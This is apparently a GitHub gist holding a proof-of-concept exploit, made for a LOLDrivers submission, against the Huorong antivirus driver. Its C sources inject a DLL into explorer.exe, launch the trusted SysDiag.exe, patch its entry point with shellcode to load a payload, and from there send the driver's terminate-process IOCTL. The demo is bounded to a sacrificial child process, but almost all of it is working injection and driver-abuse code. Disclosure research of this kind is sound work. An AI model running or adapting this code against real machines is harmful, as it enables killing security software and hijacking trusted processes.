Skip to content

Instantly share code, notes, and snippets.

@xusheng6

xusheng6/huorong-sysdiag-actmon-lab.cmd

Created September 19, 2026 00:27
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save xusheng6/8b53a102d81b22d53e0c47c03a3a5cda to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save xusheng6/8b53a102d81b22d53e0c47c03a3a5cda to your computer and use it in GitHub Desktop.
Download ZIP
Bounded Huorong 6.0.11.3 BYOTC PoC for LOLDrivers submission
Raw
huorong-sysdiag-actmon-lab.cmd
@echo off
setlocal
del /q C:\Users\Public\byotc_huorong_result.txt 2>nul
echo Running bounded Huorong SysDiag/ActMon BYOTC probe...
D:\huorong_sysdiag_actmon_injector.exe
echo.
echo === C:\Users\Public\byotc_huorong_result.txt ===
type C:\Users\Public\byotc_huorong_result.txt 2>nul
echo.
pause
endlocal
Raw
huorong_actmon_direct_probe.c
#define WIN32_LEAN_AND_MEAN
#ifndef UNICODE
#define UNICODE
#endif
#ifndef _UNICODE
#define _UNICODE
#endif
#include <windows.h>
#include <stdio.h>
int wmain(void)
{
HANDLE device = CreateFileW(L"\\\\.\\HR::ActMon", GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (device == INVALID_HANDLE_VALUE) {
wprintf(L"Direct unsigned HR::ActMon open failed: %lu\n", GetLastError());
return 0;
}
wprintf(L"UNEXPECTED: direct unsigned HR::ActMon open succeeded: %p\n", device);
CloseHandle(device);
return 1;
}
Raw
huorong_byotc_payload.c
#define WIN32_LEAN_AND_MEAN
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <stdint.h>
#include <stdio.h>
#include <stdarg.h>
#define RESULT_PATH L"C:\\Users\\Public\\byotc_huorong_result.txt"
#define HUORONG_TERMINATE_PROCESS 0x2200b8u
#ifndef HUORONG_DEVICE_PATH
#define HUORONG_DEVICE_PATH L"\\\\.\\SysDiag::IOKit"
#endif
typedef struct {
uint64_t process_id;
uint64_t status;
} terminate_request;
static void log_line(const char *format, ...)
{
char buffer[1024];
va_list args;
DWORD written;
HANDLE file;
va_start(args, format);
_vsnprintf(buffer, sizeof(buffer) - 3, format, args);
va_end(args);
buffer[sizeof(buffer) - 3] = '\0';
strcat(buffer, "\r\n");
file = CreateFileW(RESULT_PATH, FILE_APPEND_DATA,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
if (file == INVALID_HANDLE_VALUE)
return;
WriteFile(file, buffer, (DWORD)strlen(buffer), &written, NULL);
FlushFileBuffers(file);
CloseHandle(file);
}
static DWORD WINAPI run_probe(void *unused)
{
STARTUPINFOW startup = { sizeof(startup) };
PROCESS_INFORMATION target = { 0 };
wchar_t command[] = L"D:\\huorong_sacrificial_target.exe";
HANDLE device;
terminate_request request = { 0 };
#ifdef SEPARATE_IO_BUFFERS
terminate_request response = { 0 };
#endif
DWORD returned = 0;
BOOL ok;
DWORD error;
DWORD wait_result;
(void)unused;
log_line("payload executing inside pid=%lu", GetCurrentProcessId());
device = CreateFileW(HUORONG_DEVICE_PATH, 0x10000000,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (device == INVALID_HANDLE_VALUE) {
log_line("trusted device open failed: %lu", GetLastError());
return 1;
}
log_line("trusted device open succeeded: handle=%p", device);
#ifdef PROTOCOL_DIAGNOSTICS
{
DWORD query_in = 0xdeadbeef;
DWORD query_out = 0xcccccccc;
DWORD query_returned = 0;
BOOL query_ok = DeviceIoControl(device, 0x220000u,
&query_in, sizeof(query_in),
&query_out, sizeof(query_out),
&query_returned, NULL);
log_line("router query 0x220000 ok=%d error=%lu bytes=%lu output=0x%08lx",
query_ok, GetLastError(), query_returned,
(unsigned long)query_out);
}
#endif
if (!CreateProcessW(NULL, command, NULL, NULL, FALSE, CREATE_NO_WINDOW,
NULL, NULL, &startup, &target)) {
log_line("CreateProcess(sacrificial child) failed: %lu", GetLastError());
CloseHandle(device);
return 2;
}
CloseHandle(target.hThread);
request.process_id = target.dwProcessId;
request.status = 0x1111111111111111ull;
#ifdef SEPARATE_IO_BUFFERS
response.process_id = 0x2222222222222222ull;
response.status = 0x3333333333333333ull;
ok = DeviceIoControl(device, HUORONG_TERMINATE_PROCESS,
&request, sizeof(request), &response, sizeof(response),
&returned, NULL);
error = GetLastError();
log_line("ioctl=0x%08lx target_pid=%lu ok=%d error=%lu bytes=%lu out_pid=0x%llx out_status=0x%llx",
(unsigned long)HUORONG_TERMINATE_PROCESS, target.dwProcessId, ok,
error, returned, (unsigned long long)response.process_id,
(unsigned long long)response.status);
#ifdef PROTOCOL_DIAGNOSTICS
{
const uint32_t *words = (const uint32_t *)&response;
log_line("output dwords: %08lx %08lx %08lx %08lx",
(unsigned long)words[0], (unsigned long)words[1],
(unsigned long)words[2], (unsigned long)words[3]);
}
#endif
#else
ok = DeviceIoControl(device, HUORONG_TERMINATE_PROCESS,
&request, sizeof(request), &request, sizeof(request),
&returned, NULL);
error = GetLastError();
log_line("ioctl=0x%08lx target_pid=%lu ok=%d error=%lu bytes=%lu status=0x%llx",
(unsigned long)HUORONG_TERMINATE_PROCESS, target.dwProcessId, ok,
error, returned, (unsigned long long)request.status);
#endif
wait_result = WaitForSingleObject(target.hProcess, 5000);
if (wait_result == WAIT_OBJECT_0) {
DWORD exit_code = 0;
GetExitCodeProcess(target.hProcess, &exit_code);
log_line("CONFIRMED: driver terminated sacrificial child; exit=0x%08lx",
exit_code);
} else {
log_line("NOT CONFIRMED: sacrificial child remained alive; wait=%lu",
wait_result);
TerminateProcess(target.hProcess, 0x4259);
}
CloseHandle(target.hProcess);
CloseHandle(device);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE module, DWORD reason, LPVOID reserved)
{
(void)reserved;
if (reason == DLL_PROCESS_ATTACH) {
HANDLE thread;
DisableThreadLibraryCalls(module);
thread = CreateThread(NULL, 0, run_probe, NULL, 0, NULL);
if (thread)
CloseHandle(thread);
}
return TRUE;
}
Raw
huorong_byotc_payload_actmon.c
#define HUORONG_DEVICE_PATH L"\\\\.\\HR::ActMon"
#define SEPARATE_IO_BUFFERS 1
#define PROTOCOL_DIAGNOSTICS 1
#include "huorong_byotc_payload.c"
Raw
huorong_explorer_injector.c
#define WIN32_LEAN_AND_MEAN
#ifndef UNICODE
#define UNICODE
#endif
#ifndef _UNICODE
#define _UNICODE
#endif
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <wchar.h>
#define RESULT_PATH L"C:\\Users\\Public\\byotc_huorong_result.txt"
#ifndef LAUNCHER_DLL_PATH
#define LAUNCHER_DLL_PATH L"D:\\huorong_explorer_launcher.dll"
#endif
static void log_line(const char *text, DWORD value)
{
char buffer[512];
DWORD written;
HANDLE file = CreateFileW(RESULT_PATH, FILE_APPEND_DATA,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
if (file == INVALID_HANDLE_VALUE) return;
_snprintf(buffer, sizeof(buffer), text, value);
WriteFile(file, buffer, (DWORD)strlen(buffer), &written, NULL);
WriteFile(file, "\r\n", 2, &written, NULL);
FlushFileBuffers(file);
CloseHandle(file);
}
static DWORD find_explorer(void)
{
PROCESSENTRY32W entry = { sizeof(entry) };
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
DWORD pid = 0;
if (snapshot != INVALID_HANDLE_VALUE && Process32FirstW(snapshot, &entry)) {
do {
if (!_wcsicmp(entry.szExeFile, L"explorer.exe")) {
pid = entry.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &entry));
}
if (snapshot != INVALID_HANDLE_VALUE) CloseHandle(snapshot);
return pid;
}
int wmain(void)
{
const wchar_t dll_path[] = LAUNCHER_DLL_PATH;
DWORD pid;
HANDLE process, thread;
void *remote;
SIZE_T written;
FARPROC load_library;
DeleteFileW(RESULT_PATH);
log_line("Huorong Explorer-creator BYOTC probe (controller pid=%lu)",
GetCurrentProcessId());
pid = find_explorer();
log_line("explorer pid=%lu", pid);
process = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, pid);
if (!process) {
log_line("OpenProcess(explorer) failed=%lu", GetLastError());
return 1;
}
remote = VirtualAllocEx(process, NULL, sizeof(dll_path),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!remote || !WriteProcessMemory(process, remote, dll_path,
sizeof(dll_path), &written)) {
log_line("write launcher path failed=%lu", GetLastError());
CloseHandle(process);
return 2;
}
load_library = GetProcAddress(GetModuleHandleW(L"kernel32.dll"),
"LoadLibraryW");
thread = CreateRemoteThread(process, NULL, 0,
(LPTHREAD_START_ROUTINE)load_library, remote, 0, NULL);
if (!thread) {
log_line("CreateRemoteThread(explorer) failed=%lu", GetLastError());
CloseHandle(process);
return 3;
}
WaitForSingleObject(thread, 15000);
log_line("Explorer launcher LoadLibrary thread wait=%lu",
WaitForSingleObject(thread, 0));
CloseHandle(thread);
CloseHandle(process);
Sleep(20000);
return 0;
}
Raw
huorong_explorer_launcher.c
#define WIN32_LEAN_AND_MEAN
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <stdint.h>
#include <stdio.h>
#include <stdarg.h>
#define RESULT_PATH L"C:\\Users\\Public\\byotc_huorong_result.txt"
#ifndef TRUSTED_CLIENT
#define TRUSTED_CLIENT L"C:\\Program Files\\Huorong\\Sysdiag\\bin\\SysDiag.exe"
#endif
#ifndef TRUSTED_CLIENT_NAME
#define TRUSTED_CLIENT_NAME "SysDiag"
#endif
#ifndef TRUSTED_CLIENT_FLAGS
#define TRUSTED_CLIENT_FLAGS CREATE_SUSPENDED
#endif
#ifndef SUSPEND_AFTER_CREATE
#define SUSPEND_AFTER_CREATE 0
#endif
#ifndef PATCH_ENTRY
#define PATCH_ENTRY 1
#endif
#ifndef LOAD_PAYLOAD
#define LOAD_PAYLOAD 1
#endif
#ifndef INJECT_APC
#define INJECT_APC 0
#endif
#ifndef PAYLOAD_DLL_PATH
#define PAYLOAD_DLL_PATH L"D:\\huorong_byotc_payload.dll"
#endif
typedef LONG NTSTATUS;
typedef NTSTATUS (NTAPI *nt_query_information_process_t)(
HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef struct {
PVOID reserved1;
PVOID peb_base;
PVOID reserved2[2];
ULONG_PTR unique_process_id;
PVOID reserved3;
} process_basic_information;
static void log_line(const char *format, ...)
{
char buffer[1024];
va_list args;
DWORD written;
HANDLE file;
va_start(args, format);
_vsnprintf(buffer, sizeof(buffer) - 3, format, args);
va_end(args);
buffer[sizeof(buffer) - 3] = 0;
strcat(buffer, "\r\n");
file = CreateFileW(RESULT_PATH, FILE_APPEND_DATA,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
if (file == INVALID_HANDLE_VALUE) return;
WriteFile(file, buffer, (DWORD)strlen(buffer), &written, NULL);
FlushFileBuffers(file);
CloseHandle(file);
}
static void emit_u64(BYTE *code, SIZE_T *length, uint64_t value)
{
memcpy(code + *length, &value, 8);
*length += 8;
}
static DWORD WINAPI launch_from_explorer(void *unused)
{
STARTUPINFOW startup = { sizeof(startup) };
PROCESS_INFORMATION child = { 0 };
process_basic_information basic = { 0 };
nt_query_information_process_t query;
const wchar_t payload_path[] = PAYLOAD_DLL_PATH;
PVOID image_base = NULL, remote_path = NULL, remote_code = NULL;
uint32_t pe_offset = 0, entry_rva = 0;
BYTE entry_stub[12] = { 0x48,0xb8,0,0,0,0,0,0,0,0,0xff,0xe0 };
BYTE code[128] = { 0 };
SIZE_T length = 0, got = 0;
BYTE *entry;
FARPROC load_library;
DWORD resume;
(void)unused;
log_line("launcher executing inside actual creator pid=%lu",
GetCurrentProcessId());
if (!CreateProcessW(TRUSTED_CLIENT, NULL, NULL, NULL, FALSE,
TRUSTED_CLIENT_FLAGS, NULL, NULL, &startup, &child)) {
log_line("Explorer CreateProcess(" TRUSTED_CLIENT_NAME ") failed=%lu", GetLastError());
return 1;
}
log_line("Explorer created " TRUSTED_CLIENT_NAME " pid=%lu process=%p thread=%p",
child.dwProcessId, child.hProcess, child.hThread);
#if SUSPEND_AFTER_CREATE
{
DWORD previous = SuspendThread(child.hThread);
log_line("Explorer immediate SuspendThread previous=%lu error=%lu",
previous,
previous == (DWORD)-1 ? GetLastError() : ERROR_SUCCESS);
if (previous == (DWORD)-1)
goto cleanup;
}
#endif
#if INJECT_APC
remote_path = VirtualAllocEx(child.hProcess, NULL, sizeof(payload_path),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
load_library = GetProcAddress(GetModuleHandleW(L"kernel32.dll"),
"LoadLibraryW");
if (!remote_path || !load_library ||
!WriteProcessMemory(child.hProcess, remote_path, payload_path,
sizeof(payload_path), &got)) {
log_line("prepare " TRUSTED_CLIENT_NAME " APC failed=%lu", GetLastError());
goto cleanup;
}
SetLastError(ERROR_SUCCESS);
if (!QueueUserAPC((PAPCFUNC)load_library, child.hThread,
(ULONG_PTR)remote_path)) {
log_line("QueueUserAPC(" TRUSTED_CLIENT_NAME ") failed=%lu", GetLastError());
goto cleanup;
}
log_line("QueueUserAPC(" TRUSTED_CLIENT_NAME ") succeeded");
resume = ResumeThread(child.hThread);
log_line("APC ResumeThread previous=%lu error=%lu", resume,
resume == (DWORD)-1 ? GetLastError() : ERROR_SUCCESS);
Sleep(15000);
log_line("APC wait after 15s: process=%lu thread=%lu",
WaitForSingleObject(child.hProcess, 0),
WaitForSingleObject(child.hThread, 0));
goto cleanup;
#endif
#if !PATCH_ENTRY
log_line("suspend-only control reached post-create stage");
Sleep(5000);
resume = ResumeThread(child.hThread);
log_line("suspend-only ResumeThread previous=%lu error=%lu", resume,
resume == (DWORD)-1 ? GetLastError() : ERROR_SUCCESS);
Sleep(5000);
log_line("suspend-only wait: process=%lu thread=%lu",
WaitForSingleObject(child.hProcess, 0),
WaitForSingleObject(child.hThread, 0));
goto cleanup;
#endif
query = (nt_query_information_process_t)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");
if (!query || query(child.hProcess, 0, &basic, sizeof(basic), NULL) < 0 ||
!ReadProcessMemory(child.hProcess, (BYTE *)basic.peb_base + 0x10,
&image_base, sizeof(image_base), &got) ||
!ReadProcessMemory(child.hProcess, (BYTE *)image_base + 0x3c,
&pe_offset, sizeof(pe_offset), &got) ||
!ReadProcessMemory(child.hProcess,
(BYTE *)image_base + pe_offset + 0x28,
&entry_rva, sizeof(entry_rva), &got)) {
log_line("query " TRUSTED_CLIENT_NAME " image failed=%lu", GetLastError());
goto cleanup;
}
remote_path = VirtualAllocEx(child.hProcess, NULL, sizeof(payload_path),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
remote_code = VirtualAllocEx(child.hProcess, NULL, 0x1000,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
load_library = GetProcAddress(GetModuleHandleW(L"kernel32.dll"),
"LoadLibraryW");
if (!remote_path || !remote_code || !load_library ||
!WriteProcessMemory(child.hProcess, remote_path, payload_path,
sizeof(payload_path), &got)) {
log_line("prepare " TRUSTED_CLIENT_NAME " payload failed=%lu", GetLastError());
goto cleanup;
}
/* ENDBR64; optionally load the bounded payload. */
#if LOAD_PAYLOAD
{ const BYTE x[] = {0xf3,0x0f,0x1e,0xfa,0x48,0x83,0xec,0x28,0x48,0xb9};
memcpy(code + length, x, sizeof(x)); length += sizeof(x); }
emit_u64(code, &length, (uint64_t)(ULONG_PTR)remote_path);
code[length++] = 0x48; code[length++] = 0xb8;
emit_u64(code, &length, (uint64_t)(ULONG_PTR)load_library);
code[length++] = 0xff; code[length++] = 0xd0;
code[length++] = 0xeb; code[length++] = 0xfe;
#else
{
const BYTE x[] = {0xf3,0x0f,0x1e,0xfa,0x31,0xc0,0xc3};
memcpy(code + length, x, sizeof(x));
length += sizeof(x);
}
#endif
if (!WriteProcessMemory(child.hProcess, remote_code, code, length, &got)) {
log_line("write " TRUSTED_CLIENT_NAME " loader failed=%lu", GetLastError());
goto cleanup;
}
memcpy(entry_stub + 2, &remote_code, sizeof(remote_code));
entry = (BYTE *)image_base + entry_rva;
if (!WriteProcessMemory(child.hProcess, entry, entry_stub,
sizeof(entry_stub), &got)) {
log_line("patch " TRUSTED_CLIENT_NAME " entry failed=%lu", GetLastError());
goto cleanup;
}
FlushInstructionCache(child.hProcess, entry, sizeof(entry_stub));
log_line("Explorer retained VM_WRITE and patched " TRUSTED_CLIENT_NAME " entry=%p code=%p",
entry, remote_code);
resume = ResumeThread(child.hThread);
log_line("Explorer ResumeThread previous=%lu error=%lu", resume,
resume == (DWORD)-1 ? GetLastError() : ERROR_SUCCESS);
Sleep(15000);
log_line(TRUSTED_CLIENT_NAME " wait after 15s: process=%lu thread=%lu",
WaitForSingleObject(child.hProcess, 0),
WaitForSingleObject(child.hThread, 0));
cleanup:
if (child.hThread) CloseHandle(child.hThread);
if (child.hProcess) CloseHandle(child.hProcess);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE module, DWORD reason, LPVOID reserved)
{
(void)reserved;
if (reason == DLL_PROCESS_ATTACH) {
HANDLE thread;
DisableThreadLibraryCalls(module);
thread = CreateThread(NULL, 0, launch_from_explorer, NULL, 0, NULL);
if (thread) CloseHandle(thread);
}
return TRUE;
}
Raw
huorong_sysdiag_actmon_injector.c
#define LAUNCHER_DLL_PATH L"D:\\huorong_sysdiag_actmon_launcher.dll"
#include "huorong_explorer_injector.c"
Raw
huorong_sysdiag_actmon_launcher.c
#define TRUSTED_CLIENT L"C:\\Program Files\\Huorong\\Sysdiag\\bin\\SysDiag.exe"
#define TRUSTED_CLIENT_NAME "SysDiag"
#define TRUSTED_CLIENT_FLAGS 0
#define SUSPEND_AFTER_CREATE 1
#define PAYLOAD_DLL_PATH L"D:\\huorong_byotc_payload_actmon.dll"
#include "huorong_explorer_launcher.c"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment